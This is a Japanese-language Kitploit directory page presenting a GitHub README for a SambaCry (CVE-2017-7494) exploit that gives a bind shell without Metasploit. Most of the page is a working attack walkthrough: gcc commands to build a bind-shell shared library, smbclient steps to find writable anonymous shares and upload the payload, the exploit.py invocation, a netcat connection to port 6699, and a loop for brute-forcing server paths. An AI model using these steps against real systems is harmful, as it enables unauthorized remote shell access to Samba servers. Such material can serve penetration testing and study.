Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-7494_SambaCry — SambaCry (CVE-2017-7494) Samba用エクスプロイト | Metasploit不使用のバインドシェル | Kitploit
ツール/GitHubGitHub/d3fudd/cve-2017-7494_sambacry
脆弱性分析エクスプロイトシェルコードペネトレーションテストリモートアクセスツールペイロード開発
GitHubd3fudd/cve-2017-7494_sambacry

CVE-2017-7494_SambaCry

SambaCry (CVE-2017-7494) Samba用エクスプロイト | Metasploit不使用のバインドシェル

リポジトリを見る
73年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-7494 SambaCry Exploit

SambaCry (CVE-2017-7494) を悪用してSambaを攻撃(Metasploitなしのバインドシェル)

ポートを変更する必要がある場合は、bindshell-samba.c の68行目を変更して再コンパイルしてください:
image

root@kitploit:~
gcc -c -fpic bindshell-samba.c
root@kitploit:~
gcc -shared -o libbindshell-samba.so bindshell-samba.o

攻撃方法:

共有を確認します(この例では匿名ユーザーを使用しています):

root@kitploit:~
smbclient -L //192.168.10.131/ -U "" -N
root@kitploit:~
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	publico         Disk      Publico
	IPC$            IPC       IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CHORA

フォルダにアクセスし、ユーザーに書き込み権限があるか確認します:

root@kitploit:~
smbclient //192.168.10.131/publico -U "" -N

書き込み権限がある場合、libbindshell-samba.so ファイルを送信します:

root@kitploit:~
smb: \> mput libbindshell-samba.so
root@kitploit:~
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
  .                                   D        0  Tue Nov  1 19:44:15 2022
  ..                                  D        0  Wed Jun 14 14:16:35 2017
  libbindshell-samba.so               A     8432  Tue Nov  1 19:44:17 2022

		3997376 blocks of size 1024. 1960284 blocks available
smb: \>

次に、エクスプロイトを実行します:
python2 exploit.py -t target_ip -m path_absoluto_server_side

例:

root@kitploit:~
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so

ポート6699/TCPに接続します:

root@kitploit:~
nc -vn 192.168.10.131 6699

image

サーバー側の絶対パスがわからない場合は、推測を行い、ポート6699/TCPが開くのを待ちます:

root@kitploit:~
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done
ツールをダウンロード